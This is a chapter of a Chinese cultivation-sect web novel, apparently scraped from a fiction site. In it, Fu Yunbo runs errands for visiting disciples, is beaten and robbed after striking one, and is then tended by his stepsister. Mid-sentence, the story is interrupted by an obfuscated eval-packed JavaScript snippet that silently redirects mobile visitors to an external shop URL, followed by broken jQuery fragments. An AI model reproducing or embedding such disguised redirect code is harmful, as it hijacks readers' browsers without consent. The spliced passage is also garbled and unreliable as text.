文趣网 > 其他小说 > 继兄逼我修炼飞升 > 20. 第 20 章
    付云博的身份在宗门里,是弟子长老们缄默不语的事。

    知道有掌门和掌门之女为他撑腰,他人见到付云博都先敬三分。

    后山秘境被发现,重新篆刻山门前的石碑,以及早早得到消息,今年的传道重任轮到青冥宗承办。

    这些事情都挤在一起,季风竹没能闲下来与殷倾绝办婚事。

    对外,其他宗门还不知付云博的身份。

    今日四方宗门弟子来到青冥宗听道,付云博同样被派去带各宗门弟子去住宿。

    他没有季雨晴这样好的运气,被不知身份的听道弟子呼来唤去。

    付云博帮着给几位弟子换了住宿,按照要求将这些弟子的需求述说。

    管事长老纳闷:“他们丹修弟子,走到哪不带炼丹炉吗?”

    付云博将话转述:“他们说,前些年太清宗承办传道时,都是太清宗给他们备的炼丹炉,备的是紫极炼丹炉。”

    “紫极炼丹炉?”

    管事长老被气笑了:“能有几个丹修用的了紫极丹炉?芝麻大小的宗门真当自己是祖宗来的了。太清宗传道,明明给听道弟子备的是青极炼丹炉!”

    “可就算是青极炼丹炉,我们青冥宗也拿不出手那么多啊。”旁边小弟子叹道。

    管事长老还在愤愤骂。

    付云博就静静等在一旁,也不吱声。

    途中有弟子来领被褥,管事长老也没放过:“房里的茶盏被褥都是提前备好的,修行之人又不用睡觉,为何要换被褥?”

    那弟子怯怯:“落云宗的弟子豪横,进入房中瞧过,就阴阳怪气我们青冥宗。他们何止是想被褥,是想将整个屋子里的陈设都换一遍。”

    落云宗便是近百年来,修行界各大宗门里的新起之秀。

    他们宗门在自家山底挖掘出两条灵脉,最不缺灵石,也因此靠丹药堆砌培养出不少元婴弟子,引得不少宗门忌惮。

    又因落云宗行事作风高调,近些年修行界大大小小的事上,都能瞧见他们宗门弟子的身影。

    隐隐有推举落云宗与太清宗、万象宗并为修行界三大宗门的意思。

    也是近百年里,青冥宗走了下坡路,才让落云宗出尽风头。

    管事长老将这来领被褥的弟子骂的狗血淋头。

    事了,歇了火气,终于还是不愿让落云宗折了青冥宗的面子,咬牙道:“将我寝殿的被褥给落云宗的人拿过去,记得多用几个清洁术,别让他们看出来了。”

    那弟子领命下去。

    管事长老接过旁边小弟子倒好的茶,舒一口气。

    朝付云博无奈道:“这你也看到了,若是被褥这些,我还能拿出自己的来顶上。紫极炼丹炉这样的宝贝,我哪里去找给他们?还能给这个不给那个,让他们云起声讨我青冥宗吗?”

    付云博:“我知道了。”

    管事长老看付云博是明白人,也不再拐弯抹角:“好了,你回去给他们带话。就说我青冥宗一视同仁,没有给任何弟子准备修炼法器,让他们没带的,回自己宗门拿去!”

    付云博将话带回去。

    他稍作修饰了管事长老的原话,只说青冥宗没有给听道弟子准备修炼法器。

    青虎宗的弟子赵良立时就恼了:“什么都没准备,让我们来听什么道?”

    有青虎宗的弟子拉住那失态的弟子:“别这么说,青冥宗哪能和太清宗相比,让青冥宗如太清宗准备那些,实属难为他们了。”

    “不是说今年的传道重任会是落云宗承办吗?怎么都没听到风声,就成青冥宗承办了?”

    赵良发出古怪的笑声:“呵呵,要是以前的青冥宗传道,还能服众,现在的青冥宗……还是趁早给落云宗让位罢。”

    付云博不准备掺和进去,正要默默离开。

    “哎哎别走,还有事情要你做。”青虎宗的弟子只当付云博是普通弟子,吆喝他来:“你带我们在青冥宗逛逛,这总可以吧?”

    “好。”付云博回话。

    于是整日里,付云博就被青虎宗的弟子使唤跑腿。

    如果只是这样,经过凡间那些年四处逃命,为了一口吃的,与乞丐争抢,被乞丐围打都挺过来了,没道理只是被使唤两句,就沉不住气。

    直到青虎宗的弟子赵良低低说道:“你们听说青冥宗掌门,要与一个凡间女子成婚的事吗?”

    “这事从何说来?”

    “这你就不知道了,我们在青冥宗山下客栈住的那晚,我听青冥宗的弟子说……”

    付云博面不改色,身后人放慢了脚步,他便也慢慢走。

    低眼听着那些曾被他散播出去的传言。

    “竟然还有此事!”

    “是啊。那凡人这么好命,这一朝成了青冥宗的少主,短短时间内,就筑基了!”

    “这得砸了多少宝贝进去,这么快就筑基了。”

    “青冥宗就是走了下坡路,那也是青冥宗,培养出一名筑基弟子有何难?”

    “嘿嘿,嘿嘿……你说要是我与青冥宗的掌门之女好上了,能不能也这么快破境,以后直接从季掌门那接手青冥宗……”

    话没说完,付云博就提拳打了过去。

    “哎,哎,他敢打我?!”

    他们都是来青冥宗听道的弟子,要是在青冥宗出了什么闪失,足够抹黑青冥宗的了。

    况且仅仅一个刚筑基的弟子,青冥宗犯不着为此将事情闹大。

    传道重任好不容易轮到青冥宗承办,要是闹出事端,就是让各个宗门看青冥宗的笑话。

    青虎宗这样小门派的弟子,对市井人心最清楚不过。

    当即摸出身上法器,朝付云博围拢去。

    这小小筑基弟子只会动拳头,不晓得用灵力,很快被青虎宗的人教训了一顿。

    “出血了,就这样罢,再打下去别不好收场了……”有人劝道。

    “便宜他了。”赵良啐一口后,又踹了几脚:“也不知道他怎么就突然疯了,敢朝我动起手来……嗷,我晓得了,你也想娶青冥宗掌门之女,抱得美人归罢……”

    “就你?也不撒泡尿照照自己,你有什么好让人瞧上的……”

    付云博的脸颊被赵良捏着转了转,赵良嗤笑:“也就这张脸还能上得了台面,这小脸白净的,若是我在上面划那么几下……”

    旁边人惊呼:“他身上储物囊竟然有这么多宝贝!他一个筑基期弟子,哪来的这些?”

    “该是偷来的,要不就是……”粘腻的视线在付云博脸上转了转,意味不明地笑了笑。

    随后将付云博身上搜了个遍,把能用的法器都强撸了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17723853|208778||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去。

    付云博躺在地上,半睁着眼朝离去的青虎宗弟子看去,将那些脚步虚浮的青虎宗弟子都刻在脑子里。

    等天色歇了,付云博攒了些力气,从地上爬起来,往自己寝殿走。

    木槿也是这时瞧到他的:“怎么伤的这么重?又是因为什么,要让雨晴来帮你善后。”

    付云博闷哼一声,喉结咽动,咽下嘴里的血,转头走人,不与木槿多言。

    木槿本来是想好好跟付云博说话的。

    可一想到付云博每每都让雨晴涉险,如今正是青冥宗特殊时期,付云博还惹了事端,他就气。

    怕付云博背后在雨晴那抹黑他,他粉饰了话语,将付云博受伤的事情倒豆子说了。

    季雨晴没有半分迟疑,掉头往继兄的寝殿赶。

    她失手没控制住力道,边叩门边喊:“继兄,继兄……”

    付云博刚回来寝殿,正要找疗伤的丹药。

    迫于殿门外的继妹,只能先去开门:“继妹……”

    付云博走路姿势古怪,瞧见季雨晴的脸,面色慌乱。

    季雨晴要说什么,眸光微凝:“哪来的血气……”

    再看继兄惊慌的脸色,季雨晴伸手将门推的更开,露出继兄半条淌血的胳膊:“继兄,你受伤了?!”

    付云博退了又退:“我自己练剑,不小心弄伤的……”

    在自家宗门,让继兄受了这样的伤,季雨晴是真的气继兄不争,也气自己无能,没有护好继兄。

    她冷笑:“自己弄伤的?继兄右手握剑,如何砍到右胳膊上的?”

    付云博动唇,还欲再说。

    季雨晴摸出腰间储物囊随身带的丹药,两指捏着,塞入继兄口中。

    “坐到床上去。”

    付云博对峙败下阵来,抹开脸往床榻走去。

    季雨晴作势就要解付云博衣带。

    付云博惊慌握住继妹的手:“我们不能……”

    季雨晴被气笑了:“我是看看继兄的伤,继兄是在想什么?”

    付云博脸皮微热,松开了手。

    季雨晴只拨开继兄受伤的半条胳膊上的衣衫,垂眼盯着小臂长的剑伤。

    她唇缝绷成一条线,并指带着一抹灵光,缓慢抹过继兄胳膊上的剑伤。

    “继兄如今是剑修,为何不执剑还手,还让人伤成这样?继兄可别跟我说自己只是筑基修为,打不过那人,继兄隐藏的境界可是金丹后期。”

    付云博吃痛,硬咬牙忍了下来:“这个节骨眼上,我不想给青冥宗惹下事端,况且……这次是我先动手的……”

    季雨晴:“对方如此可恨,继兄就更该要给对方一个教训!”

    胳膊上的剑伤已经消下去了,付云博反握住继妹的手:“等他们离开青冥宗,再给他们教训也不迟。”

    季雨晴不是这样想的:“咽下这口气,我道心不稳。继兄你告诉我,是谁伤的你胳膊?”

    付云博轻唤:“继妹,现在不早了,你姑娘家该回去了。”

    季雨晴:“我不回。我与继兄是亲人,何必在意旁人眼光?”

    这话明明是付云博说给继妹的,现如今继妹拿出来说,他心口就一阵阵抽痛。

    季雨晴:“继兄就是不说,我也能将伤继兄胳膊的人揪出来!”